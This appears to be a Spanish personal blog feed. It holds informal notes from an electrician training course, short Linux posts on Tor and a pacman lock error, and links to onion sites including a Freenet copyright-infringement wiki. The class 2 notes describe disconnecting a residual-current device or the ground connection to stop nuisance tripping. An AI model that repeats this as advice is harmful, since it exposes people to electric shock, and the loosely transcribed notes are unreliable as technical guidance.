Electricidad Clase 3: Interruptor diferencial tiene que ir siempre después del interruptor termomagnético. Tarjeta de oficio te dan al finalizar curso. La evaluación tendrá preguntas sobre las fotocopias. Auxiliar a libro abierto, montador no. Recgleta: Había métodos que nos daba la posibilidad a nosotros que este conductor de sección X necesito mi interruptor termomagnético de estas características que proteja este conductor. 70 horas reloj para aprobar auxiliar electricista. El porcentaje que me daba electromisiones de descuento me ayudaba a pagar ayudantes. Electromisiones te da descuento si tenes la tarjeta de oficio registrado. Corriente alterna: fase y neutro. Continua: positivo y negativo. Red de distribución. Tengo la red de distribución que puede ser que este conductor que viene acá la mayoría es preensamblado y puede aparecer en algunos casos en los lugares más retirados del sistema urbano, conductores desnudo de aluminio, pero en el urbano es preensamblado. Hay electricista que se acostumbraron que lo llama RETENAX. Esa es la marca. El conductor se llama preensamblado. Esa línea línea municipal nos permite a nosotros como instaladores donde va a ir ubicado nuestro medidor ahí inicia nuestra instalación. Tenemos injerencia a partir de la línea municipal para abajo. Todo para adentro ahí debemos nosotros trabajar. Pregunta de exámen: Y la línea de alimentación principal es del morceto hasta acá, la acometida es todo lo que constituye protección con caño garbanizado, pipeta morceto fusible aéreo. El otro es mi alimentación principal. Hoy en día se usa caño corrugado, si es anaranjado está prohibido porque es no es inófugo. Con el morceto tomo la línea. Si el poste está cerca puedo hacer subterráneo. Siempre si no tengo un fusible dentro de la cápsula que está en el morceto puedo tener un fusible aéreo, el fusible aéreo me delimita la potencia que entra a la línea a la casa. El trifásico no me genera el pico de corriente.Ya empezamos con este sistema. Acá hay una parte que se llama línea principal, línea seccional de acá hasta acá y luego esta es línea de alimentación entre el tablero general y el gabinete de medición tengo la línea principal, está casi en mezclado porque a veces yo tengo el gabinete y detrás del gabinete de medición tengo el tablero general o sea que hay muy poco de recorrido pero hay un conductor que alimenta desde el medidor hasta la térmica entonces esa alimentación es línea principal. Catálogo viejo aparece sección principal con conductores de 4 mm OLVÍDENSE DE ESO, es de 20 años. Y todos los tableros deben tener conductor de puesta a tierra. Acuérdense que tengo un sistema de pararayos y el sistema de la bajada del pararrayos que va un sistema de jabalina puesta a tierra y después vinos que el tablero general también tenemos puesta a tierra, entonces pasaba que esas descargas del pararrayos que bajaba por el conductor desnudo de cobre y se distribuía a la tierra se quemaba algún equipo porque esa corriente que es grande iba por debajo de la tierra y entraba al tablero seccional y ahí buscaba la parte más débil y me **QUEMABA LA INSTALACIÓN**. AL NO ESTAR UNIDO LA PUESTA TIERRA O SEA QUE EL PARARRAYOS Y LA PUESTA TIERRA PROVOCABA QUE SE QUEMEN LOS EQUIPOS. Jabalina: Después voy a traer el conector. Este es de 1,5 AL BRACERO (Hora 01:35) ¿? XD y cobre en sus extremidades. Esto va hincado a través de un sistema mecánico hasta la profundidad que se pueda entonces a veces **uno empieza a colocar la jabalina y encuentra UNA VETA DE 100 ¿? (Hora 01:35) MAL. Entonces algunos inclinan a 45 grados (se puede hacer) pero también llega la VETA(MAL)**. Entonces algunos hacen pozo y acuestan la jabalina a 0,50 cm, medio metro con respecto a nivel de piso colocar la jabalina ahí. Alumno: "La puesta a tierra, el sistema de puesta a tierra desde el tablero principal al seccional tiene que estar conectado?, y ¿como está conectado?" Profesor: Está conectado por el conductor. Alumno: Y el conductor como se pone ahí en la jabalina? Profesor: tiene un toma cable, esto va hincado. Voy a traer para que vean, a veces hay distintos conductores distintas sección. Esa ha de ser 3/4 esa que vieron ustedes es 3/4 después hay 5/8 (más finita) pero ese conductor es el que me permite a mi presionar el conductor desnudo o conductor por **por más que sea conductor aislado tenés que pelar los cables para que haga contacto**. Puede tener disyuntor, interruptor termomagnético perfecto y si no tiene puesta a tierra está faltando ese elemento, cualquier fuga de corriente va a tierra. En donde más accidentes hay es en la heladera, primero recibís la descarga y luego salta el disyuntor. Esas dos aislación aparecerá el equipo, cualquier equipo que ustedes tengan siempre hay una característica que indica la potencia en ese aparecerá un cuadradito. DOS CUADRADOS DOS CUADRADOS UNO ARRIBA DE OTRO. Principio de doble aislación así que no tendrán problema. Algunos aparatos especialmente los que tienen carcasa plástica poseen aislación básica o sea que ante una falla de aislación básica tiene todavía un respaldo de una 2da aislación. Que separa al usuario y su entorno de la parte afectada, estos aparatos se identifican por tener grabado el símbolo (dibujo) que es este... Por lo que estos aparatos emplean ficha con solo 2 patitas. En donde hay un sistema de tomacorrientes doble veo como el electricista conectó esa línea por ejemplo lo hizo el del medio por la que está ahí porque ahí seguro que va a llegar la alimentación pero cuando haga la alimentación en el medio yo **sé como el tipo trabaja si aplicó la reglamentación o no**. Si el propietario no me trae los artefactos yo tengo que dejar por lo menos un portalámparas puesto. Pedile que te traiga un portalámpara. Y la instalación está terminada cuando yo levante la térmica prendan las luces juego los tomacorrientes que todo esté conectado recién ahí está terminada la instalación. No que dejo ahí todos los cables, tengo que darle energía y probar que no hay ningún cortocircuito. EL FAMOSO EFECTO Joule: La corriente que pasa dentro del conductor es la que provoca eso. EL EFECTO Joule produce un efecto calórico que después reduce la pérdida de aislación y la pérdida de aislación provoca cortocircuito/incendio. Esto es un preensamblado y esto es un morceto: Hay 1 conductor que es liso ese es el neutro y un conductor que tiene la línea si mirás vas a sentir que tiene un relieve esa es la fase. El neutro es todo liso y el otro tiene una ranura. Y si tengo un sistema trifásico: el 2do va a tener dos rayitas y el 3ero tendrá 3 rayitas. Es muy difícil que uno se equivoque al hacer la instalación. Esta es una caja de distribución ahí se hace los empalmes, siempre los empalmes se debe hacer dentro de esa caja ya sea en una ortogonal acá lo que sea NUNCA AFUERA, ni en el caño. Exámen: ¿Qué diferencia entre interruptor diferencial e interruptor termomagnético? Lo único bueno que tiene la pantalla solar es que se almacena a través de batería, la corriente alterna se tiene que consumir.
https://imlauera.github.io/electricidad3/
Wed, 19 Mar 2025 15:10:45 -0300
https://imlauera.github.io/electricidad3/
<h4 id="audio-vocaroo">Audio Vocaroo:</h4>
<p><a href="https://vocaroo.com/12sRsOPRw6es">https://vocaroo.com/12sRsOPRw6es</a></p>
<h4 id="audio-archive">Audio Archive:</h4>
<p><a href="https://archive.org/details/record-58_202503">https://archive.org/details/record-58_202503</a></p>
<h4 id="audio-youtube">Audio YouTube:</h4>
<p><a href="https://www.youtube.com/embed/tN76Tnlmi8s">https://www.youtube.com/embed/tN76Tnlmi8s</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicKAnsKRfZJwu_RnE1E4TAkzJo7ZHfKKvP9CSmnkUBVkB2PQcEoEbwMlAG6JsAJhizvyz37__fJ7o5u2raNuMNuzVH48db9VPTINArGgonRgGkaI-gSheWl96Gpz4mSiQFQOPzIyilajzPVdPCCsXL0RST35iWVUKFO__q755ZNRHc1sDVAROHpLc_6GU/s4160/IMG_20250317_190755536.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0neuMZu2H31pJhimu52GT_MANcFPO8Zx-xl_4B-WxqUH7iHSOKoGXyTR7LET5g7Ijhgu1xr5CKUuvUXPTYw2dSOeLMo84JY_e8Gpy0gJ4PCiys5xFSZgtVaBEHPmKSHOBx6EbFUy18zjRnKV5Z8y7it1cIj5uDM5Iirm7sTfCQrjmLKjVsncsHlMpZ8g/s4160/IMG_20250317_190757223.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZSn7LGxcbox9bpBuU7RwErWwIVeRKvqpizBKJrkZzR5cAeCUY6Lt2VR_OipQIUDhbKNscZkvyjaLowvXRn9DU4kA_qAOyq4pHPYLNEXZbNSUH_kH_y7y2K7esq_GTF6UNDWuVLCDwSuG4tVzAQc10AAKbm2L6vIiFqdv3nfmsmaQ1PLLdDzSTJmuS5F0/s4160/IMG_20250317_190803421.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjywe2CLQQnu2yVOehwhXTQunGkdoC8DT1rc3J_or2LuysT8perY3G0M4zBf-8Jwchl9osNG-r5zk6WL4Wzt9A7axGG129Nk2Md3-gyM0mo3PXzDbrhyJ-BHXWXlC7f9gfPvCB6bCde3_Yr90UOprB-X1hRGSRHH84XGxwn7TxOvHJUbPurAKujI3YllSM/s4160/IMG_20250317_190804334.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7_XSaF5IlnnfyeI2ObzbRg36YJfPvMSBEvPk5MU7S1rgwAvGTZpKAH7rp23kU4513MNeyAlSWPXdQ0-vQpRiGzVxvHJBn-yIq9VqNIzHur3yLLxYWi9ydbLE_HHhee0FHIQiVhziNyqYUhccYSOF6WGFDuI6BMsgzLgl_8VNeCgE5m39Nz_Nj-pkJjY/s4160/IMG_20250317_204550998.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEKGQ4zDd2iQ6pYJGwVDoyBQ-iQeDy_xoLotxvVgsMsoACJTFSIgxWOoUVgmbdrLX0-j3ryzhm5c0OzDL2NfxKhjNyN5Fv5fQ9Ci7p_DetyQj5GO3WBEm2UBIXEcH0UU2-4Kc_amYtseIIw2yIVxFu_I11h-GN_nCBLwU0cpMBEkdgYZ6cnauy3czKDFg/s4160/IMG_20250317_205141077.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnA-mhiUumhfOyTC7eL4Zv9exYjqPjd_ROiTvhkKAYIuchWWWSjS4PSSEK7Rt7L5lLuCO4ShKurTKe_BLAePIUy4d_D7VO4_KWrVQnxEup79Ax18XetT5YKrgb9NHRtVyw5DyedZCel6A_jLgPmMByUWMzxmKHZK6cp2z1noV9hh066pS8EkFjv7ik1G4/s4160/IMG_20250317_205145371.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIuug88OUlrhM9QOL3jnyvHieEmr3UTAAe3ORbW1bFEWbXA6GoPv3D31p2YMIxGEsvuZumMopUSamEG-wbvbMxlBl4PBwEv_HN4wNI78kPqLYgLXJksG0oSCDrD7V-K6ht2cRqbezVRroUNZ9WBtMjRh_fvFu2ElQOzcYNrvQznZoUCiSQCBrCHFvVzrg/s4160/IMG_20250317_205146813.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPp7-8OiLh_ZxMv-dubixZoanq48_rWs9dKyJw7HzM-Vhh2X-B_ccL5fUdXIwE2Ec9EjfLj7mDI7JbO60_Q-z-aiP_Wj0NBtkgG56-iefrqY2BGSWUO_Z9cFyEBb7sYgwV1dlmdpGbsgcnkK2fTtdnWdY_d48pZYEM17ggjI2wop8-5HCXQCCb-nPKjrE/s4160/IMG_20250317_205150268.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlVuEywmyIeaZBl3HyhXD1JgwpRaXEWHZK822LmFlSje0gcQqdShyPd7FoNgJnsnXaKUgBvnQCabXxa8oaK8NgTlSDLAsLn2lucrbljWLAd7Eouns3DMV-IoQzQMp7thUljHOib8O0QQVlHgKsHDJNiFU9sEEEtmyyrfN_A2JUFgVhf4lk0Yt6G08XzWk/s4160/IMG_20250317_205153982.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGv9jsZI3tdZU8LCcGgt-jJH_xxuARaoUwVMfdabZu64c2qA9qMw_laN8oSD0fZw6zBZ_siLLTQN29cP869c1tFLgr62dvMAl8ATOJN4U_3ozhi4d3ufqrDPUhGwebBkMmWKsZ9HCFPiYF7WiXWbL2frUZBD4fQcnmV0nyvWOo_5Ted75_kPPA6qVeaak/s4160/IMG_20250317_205201313_HDR.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcoNp2HEz4rj6iA5MIwOdBGA6Tsb_fk7q7Tun4WO9srEX36kJS1g72cgz6bJSevCTMjB4hjzat4qwwtKwE9R0GQauPOvMD0nzXKjBkqs9DMia1qGcCCYC7bfZ4G-e10e0DJqGOTCmIjC6fdouPOoTiOPHKfXR8s91EInkacncdUKWQxwALocB36zxpaJo/s4160/IMG_20250317_205205475.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAdqyMeeA11mL8rpR5PDlyYfL-QU_Qb-oL5MkvxDeMFizR2cuBAAYqgrQ62Wqknk7XEASX2qfrT4LwjFGD5ZFhnaBNZ7OC7LbHcBDh4UIHhPsR6RmMMcqFwV7Wzgy15O0kiofEu6rtxVmRfQW_HHf6Ff_Z-grHoBMyHW-t12ORlvvLa27PW5J2VQP1x_I/s4160/IMG_20250609_181751613.jpg" alt=""></p>
<p>En realidad esta es la 3er clase, porque empecé desde la 2da clase el curso.</p>
<h4 id="transcripción-a-partir-del-minuto-10">Transcripción a partir del minuto 10.</h4>
<p>Antes que nada acuérdense que siempre les dije antes de instalar algo les voy a mostrar porque después desaparece. Este vamos a instalar mañana así que no se preocupen.</p>
<p>Interruptor diferencial, interruptor termomagnético, siempre en un termomagnético interruptor principal de corte tiene que ir siempre en el tablero y es el primero que corta toda la alimentación, están todos enumerados por circuitos.</p>
-
Tor: Failed to start Anonymizing overlay network for TCP.
https://imlauera.github.io/tor/
Mon, 17 Mar 2025 10:11:31 -0300
https://imlauera.github.io/tor/
<p>Nada que un</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo su
</span></span><span style="display:flex;"><span>rm /etc/tor/torrc
</span></span><span style="display:flex;"><span>pacman -Rns tor
</span></span><span style="display:flex;"><span>pacman -S tor
</span></span></code></pre></div><p>No lo pueda solucionar.</p>
<h3 id="privacy-is-not-a-crime-tor-i2pmy-i2p-spanish-tutorial-and-freenet-zeronet-lokinet">Privacy is not a crime: <a href="https://www.torproject.org/download/">Tor</a>, <a href="https://geti2p.net/en/">I2P</a>(<a href="https://imlauera.github.io/i2p/">my I2P spanish tutorial</a>) and <a href="https://www.hyphanet.org/index.html">Freenet</a>, <a href="https://zeronet.io/">ZeroNet</a>, <a href="https://imlauera.github.io/post/como-conectarse-lokinet-en-gnulinux/">Lokinet</a>.</h3>
<p>How do I use Tor:</p>
<pre tabindex="0"><code>sudo pacman --noconfirm -S tor torsocks w3m # (ArchLinux)
sudo systemctl start tor
torsocks curl https://ifconfig.me
mkdir onion && cd onion
# Save the index to your hard drive.
curl -L https://secretonions.neocities.org/index.html -o secret.html
curl -L https://davewebsite.neocities.org/index.html -o dave.html
torsocks w3m secret.html
sudo systemctl restart tor # To reroute Tor.
</code></pre><ul>
<li><a href="http://torwikijwqskahohtn35pyfde2uqmgrxgr2fru4mn4rer5muj445dxyd.onion/">Tor: HiddenWiki</a></li>
<li><a href="http://danielas3rtn54uwmofdo3x2bsdifr47huasnmbgqzfrec5ubupvtpid.onion/tutorials/">Tor: Daniel Tutoriales</a></li>
<li><a href="http://j3bv7g27oramhbxxuv6gl3dcyfmf44qnvju3offdyrap7hurfprq74qd.onion/">Tor: Email</a></li>
<li><a href="http://sonarmsng5vzwqezlvtu2iiwwdn3dxkhotftikhowpfjuzg7p3ca5eid.onion/">Tor: Email Sonar</a></li>
<li><a href="http://ciadotgov4sjwlzihbbgxnqg3xiyrg7so2r2o3lt5wz5ypk4sxyjstad.onion/">Tor: CIA</a></li>
<li><a href="http://jentyxddh2rf47gd3e43kuebyn2xsv6h72gzh46oe4rxyovvm7xe5ead.onion/fdroid.html">Tor: Recommended F-DROID apps</a></li>
<li><a href="http://uquroyobsaquslaunwkz6bmc3wutpzvwe7mv62xeq64645a57bugnsyd.onion/index.php">Tor: WikiPage</a></li>
<li><a href="http://juhanurmihxlp77nkq76byazcldy2hlmovfu2epvl5ankdibsot4csyd.onion">Tor: Ahmia</a></li>
<li><a href="http://127.0.0.1:8888/USK@NiPBeAA-PpA715zb8Jc~Q-ohFbKPt8Mo-YiH~w1D56A,--ZTBvgu7XMdX0QUJGBHp-Hogoh0AQK1p8WoY6IR80Q,AQACAAE/lawiki/5/">FreeNet: A la mierda copyright</a></li>
</ul>
-
Arch: Unable to lock database
https://imlauera.github.io/unable_to_lock_database/
Thu, 13 Mar 2025 21:08:42 -0300
https://imlauera.github.io/unable_to_lock_database/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Last login: Thu Mar <span style="color:#ae81ff">13</span> 21:06:24 on tty2
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch ~> sudo pacman -Syy
</span></span><span style="display:flex;"><span>:: Synchronizing package databases...
</span></span><span style="display:flex;"><span>error: failed to synchronize all databases <span style="color:#f92672">(</span>unable to lock database<span style="color:#f92672">)</span>
</span></span></code></pre></div><h4 id="solución">Solución:</h4>
<pre tabindex="0"><code>[I] esotericwarfare@arch ~ [1]> sudo rm -rf /var/lib/pacman/db.lck
</code></pre>
-
Curso Electricidad: Clase 2. El examen es a carpeta abierta. Simbología. Red de distribución Morceto. Fusible aéreo. Si tenés morceto con fusible (antirobo) no hace falta el aéreo. Si solo tenés morceto simple se coloca el aéreo por la fase. EMSA coloca el morceto. Conductor preensamblado y bipolar. Un electricista chanta me quizo cambiar toda la instalación porque el conductor de entrada es más chico que va al tablero seccional. Línea de alimentación es la que vincula la red de la empresa distribuidora con los borners del medidor de carga. Acometida se llama así al conjunto de elementos que se utiliza para hacer la conexión entre la red alimentación y el medidor: cable, fusible y morceto. La otra es línea de distribución principal hay una línea que se llama línea principal esta línea que va del medidor al tablero general se llama línea principal para que ustedes entiendan aunque esté detrás del medidor yo del medidor saco una alimentación que va al tablero general o principal del medidor saco una línea que va al tablero general esa línea se llama línea principal. Alimentación trifásica, ahí aparecerán 3 fases (3 líneas) trifásica. Si tengo una alimentación como ese tablero que te mostré ahí tengo TRES fase más el neutro. Fijense que esta caja es más alta que la otra ¿para qué? Es cuando uno tiene losa, la losa continua se hace primero la parte de madera se pone la caja se hace la distribución luego va el hormigón arriba. Fijense que es más alto entonces ahí para hierro y todas esas cosas y logro una mejor distribución se usa este tipo de caja. Siempre en todo gabinete en todo medidor hasta EMSA te pide que esté en el gabinete puesta a tierra, sino no te baja la línea. El profesor para evitar que la ducha eléctrica haga saltar el disyuntor desconectó el disyuntor y le puso una buena tierra, pero en mi caso desconecté la tierra y dejé el disyuntor. PREGUNTAR.
https://imlauera.github.io/electricidad2/
Thu, 13 Mar 2025 09:21:26 -0300
https://imlauera.github.io/electricidad2/
<h4 id="audio-de-la-clase-en-archive">Audio de la clase en Archive:</h4>
<p><a href="https://archive.org/details/record-57">https://archive.org/details/record-57</a></p>
<h4 id="audio-de-la-clase-en-vocaroo">Audio de la clase en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1bkuThXk0Fs9">https://vocaroo.com/1bkuThXk0Fs9</a></p>
<h4 id="audio-de-la-clase-en-youtube">Audio de la clase en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/kC4hTgBpfa0">https://www.youtube.com/embed/kC4hTgBpfa0</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9roP_5LKwhf0StuiEh_WAj7iYO05K3qOFUJQVnlOHRBXVX1N0qFQjqpTFqQPDX9NneZSaMOvbHi2E7a2_CH2xPSueykT19WsJZQZWeWbkrb5VSNbMz4YH2HqS-GIorKiOW24bizGsufwCVMz3QGvjnqPX51ccZwkkne11J4tATvRyf52UPQV13_JSXo/s4160/IMG_20250312_204002630_BURST000_COVER.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcc1tWG2LnpeEHkvlMQShOdaoZ2FUpT7QnjdCWUHbyVgG5odM9kfX-JWwNbcZjye1QcEUfGf7lrHrjSiUzUesARc0woO_YH6UzNW2BdurUbhDLPIlFKwifHgHbZbjOqtIFFR3xFDZvAP_C3WcirPf8g99gDv9i0mXKiiA1iKhNk_nB7tkzKL0CXlBmVX8/s4160/IMG_20250312_203958452.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwFkn_ADM0b6NzQsu5U8UUTtV4xp0WWA1utlFyfh1LuSLNJVdaQ_NydJ0ZVajj2Sm4YoQhtI8-gfm2zWTWM1S-N5kvUUVHITwS_viWfQAOYhjmyKTPG-QMHA8xDcCQ8jnAQ5-CdCf_o4-cT57u7JFk3L8m2LwM1BZqqmf1GI67vRKZjUQF99XAYXzmHHA/s4160/IMG_20250312_203949215.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFMZ_Oijtr9UyI0sPYV1wb9pDnmvH5OqhgoWvpF0kwj1gtZ27x72WO41OuSgvs8I0ZtIk_aUsXwLRfomsDaLvT28vksuJiJ3YHFMNJ7EGZ3iAT7Pno-riCc6GOsYOKA5oDtWWPB7diFuPYZvUFoxfh1aH_XAKAo9XHX1gGNdRYSXghBZi8STRsaOkIMdA/s4160/IMG_20250312_203941356.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3F8hC0SCBqJ2hJoyGKqC6J5haD37VigW5o8hcy1T2mT0P7go-fFK9rYjW1Qqbh4NxrP8nm2PFJ-76Bif110AI6hoQ5_4hmIvI5aZAil8M_hIyY-7Y33048NsJL7eq2O4velMqldqh8_gHn1CKwCncIcRxKMOli64NXqzx8XrrW6YrOJH7yjO6sq_YG00/s4160/IMG_20250312_203553423_HDR.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTe276-Cn8jTXrKUCbxJsPPt-qGAT36G-kWPVFUxB1HKdFgUcaempmV66VdmMGtFnuwtJpKBSpIjwZtQO1iO-DOXcVVyAhsPE6W626aYqXNGSDE3yko2bOAPnL9-skBj9l1xp2jcn6TiyETSm8LQQjpvDZrpKrNaAPm5xH6wJh9pLKFmYSaN9aqMYA2ys/s4160/IMG_20250312_203540815.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM8uxYbQ7WHaUrQprDncbmnsx7aUV4ai6P5Pw2hyphenhyphen_JELiuwRReO0C1gFJVS9CCYTfQdNOoVmbTsHKu0AD6g_WvOjAjFs3MQRs-sCX-tLc7MBZVyGy0CrCVCmzBgpj3vM6GyYJCUMBqzG_oqhQnwR-iiKiOe6SDrRAc3kdBCLL_dWrKiao41ZnnXc6Vee4/s4160/IMG_20250312_203529254.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOU26YheTi1A49pmbifXvuS6sggY1kQhMhNEQfoZL9ElWAqhfr0RsVawY7Q3cPLvsYhDRZXUsnBHvLu9vf16IctB5jpSzZVvIlJWpxDB_aA_708kCiX1jdjwDRxu0V3GeFo10CMTZu2uIfkD5YwOx58aNaZ9aX7_UnnPr0w0MRpsalIcx9noZz11xIXjI/s4160/IMG_20250312_203523189_HDR.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAeN73y5xDz4DiJfxFP23SSGNbUmJr0Tp942na9xB9HVsR6PDzAeXC5WfPyyaXEQBu7t3FDgwbmvXJz4ARE8vI_vPJWdTP77VKBTLAScYfJ15VcqlN9tpnOkDiHvzhcbLPUTltPyovdxHwicLNq2AHogXD8ntqA1gQUqGwyijtWSwIBlqwL81rtrFTxG4/s4160/IMG_20250312_203518739.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4KmfZh4W58lpoXzl5DTXjdhqIpcKtWV74fvk1NIyqo6U9BrJ8BjefMQxdDzmxtXEAWRrOpSdmCVA-9edyZLruGOZDMxpoX9SYU2hoF6t23i6H94Jm5YhSXqF4i49QfnBgpC6SRJTneF45hUFDed3R9pkoALI0bW-66PIOsRbbR-7CEZMDH7uIQXxKyOI/s4160/IMG_20250312_203229098.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhloIGTe8DIxik31wnFz84P-wsiHY-71L0OuTVuMvN2SPoaHxs3LmW0MuG2A2jZfdCb0H53BTDK_pncd23BCvqN39kTX24bh2cVne_SvUwzY-tdr9BaIITVdcMhF0-Z0uHRq1irFhbYYcIxqMtqqEVcd9LwznKkLjGEcW6_rQbiogmDHduWxDO4QV8RIQc/s4160/IMG_20250312_203222103.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ9wvDVLn0DoUxZxG7xCBd7bkD5SG7Xt16uCCOzK8RfC7ANBHSWrDlUCJoDLrXyaidFNPgLR_az9843UO0C_p3bmU7QnBbrvFdjFYhDiA3vAMTBZYHADsHvZyTuMhIiymdaVuOYhc0afjM7Wvt3kmNkV13ZDqky5quOMFPX679DTqjDSOyOJ5_sk_xKS8/s4160/IMG_20250312_203142906.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1YgDfEdFV1rS_iqf34-76YFB15VLYCE6Ce8UFl-PaIrx_B8NJ40xcWb0KRwYCBuqfAVE1XCL8U6sZhWY5HTfCV4GfEQXFTmn5OgFBy1PKxNpQP42TA4FdeTvD4JGXvldaoN2tnFhTpY8PEo6Ben8Rd04ZEnwQKSTre4tEJ4NgYRMo23uco4h1jeY9OFY/s4160/IMG_20250312_203141143.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUc-BTWhBeDwIu3m57Qpm6WR_P22-jVZx1I2fDO2-ccDMd0wOvT3UeykqnmxjGZgEaEzoRA_Q_uG_LAlcpsSxJWZo_ZL0lKrgORH38ZJqqNfIomgYT0-bTZtRFxZBSy3u-YmTFNK4kTGyMybHDhUcFK64SRc43C8Q-43oXqxupOlGrmCXKQgThkZRYh30/s4160/IMG_20250312_192431387.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlSMH-5Sdr-Pu6Tn-3huVB37QN1r-7WlsOtu23H4BXih6EeoK090ezy3YIMlBfL0cXMAEF-rcfkaX-fClANOfnyRliZXC4Z2_sNFFYmdkZxfByoyGYSyJhFAv3OzRV5cobA0xfOD5PEJtBE1sunL-CQ15wyVP_uzuCvkDrl1Qc9KzU-Sh9jDxNqu0DY-0/s4160/IMG_20250312_192429247_BURST001.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG8-ahHfFZph9MxHmjp0jrtn_Wiw0sSj-mNPUT4JkYX97hq0DZArjFk4Ei_f4-Eoq-CTk3J8XctzGiG2aHyLXjg1S0MiIjZZha7IxYD2lZOg6ADYSHJH5IpQgN5KUeazCAKf53RfbITrr31dYfAUvb_GdI76q3HqCkp1nzY7CRUniwLElpd-Y8tZksJlI/s4160/IMG_20250312_192429247_BURST000_COVER_TOP.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOg1fGT2yYmJPpAgBKaUthnpflE8WPNlCvJMGo5fjNlyMTVY77jn964Kq97TAQsJkKJ5Mho1wurkd1uaZvfRwUNZIqlLQUNhZBSjLh7RfSQH3g5N0Pl6DRfio7DUo37gydRDy_Y_xndBc0VM9D7kVoxscIisEBSKL2bqPQYSxRt64Vke2FEiSg1Hb4tmg/s4160/IMG_20250312_183441666.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr19A-eHfn9eNW-xHxlZrFb9t6hydCuMicu8RctGfHskBoQ9WqjIicWT1z-bOe_XyGCtXFGsNIz7rozfL6ek7hPhRPVjP0IKNr_clzSzkOl5pN_ueQ9jK4EEjqrn9pw-28qfIkiBT_hbsdLQRm_uEB7XFhdAqKgwJYXPnr6zvv2WW4hqYXv5v2IAGhYwA/s4160/IMG_20250312_183436215.jpg" alt=""></p>
<p>Profesor: Francisco Espeche. Ingeniero Mecánico. <br>
Tel: 3764224522 <br>
Lunes, Martes, Miércoles - 18:30 20:30</p>
<p>Una instalación eléctrica es segura y confiable cuando ha sida concebida y realizada por un instalador electricista habilitado que ha aplicado la Reglamentación para la Ejecución de Instalaciones Eléctricas en Inmuebles, y ha utilizado materiales normalizados IRAM.</p>
-
Obtener todas las URLs de las imagenes de un sitio
https://imlauera.github.io/obtener_imagenes_website/
Thu, 13 Mar 2025 08:08:36 -0300
https://imlauera.github.io/obtener_imagenes_website/
<p>Esto lo uso porque no quiero pushear imágenes a GitHub sino la carpeta se hace enorme, aparte GitHub tiene un historial que por más que borres una imagen, la imagen sigue ahí. Entonces la solución que hice fue subir todas las imágenes a un <code>blogspot</code> luego obtengo todas las URL y las inserto en mi página.</p>
<p>Abro vim, entro en selección visual y ejecuto wget: <code>(Escape+Shift+V+!wget...)</code></p>
<p>Ojo estas imágenes son de previsualización tenés que cambiar el <code>s320</code> por <code>s4160</code> para obtener la imagen a máxima calidad. Es decir cargá las imágenes de previsualización reemplazá s320 por s4160 usando <code>:%s/s320/s4160/g</code> y luego volvé a cargar las imágenes de previsualización y agregá los links a la imagen de mejor calidad.</p>
-
Cursor: Editor con AI
https://imlauera.github.io/editor_con_ai/
Tue, 11 Mar 2025 19:54:33 -0300
https://imlauera.github.io/editor_con_ai/
<p><a href="https://www.cursor.com/">https://www.cursor.com/</a></p>
<p>Aviso: Te pide crearte una cuenta.</p>
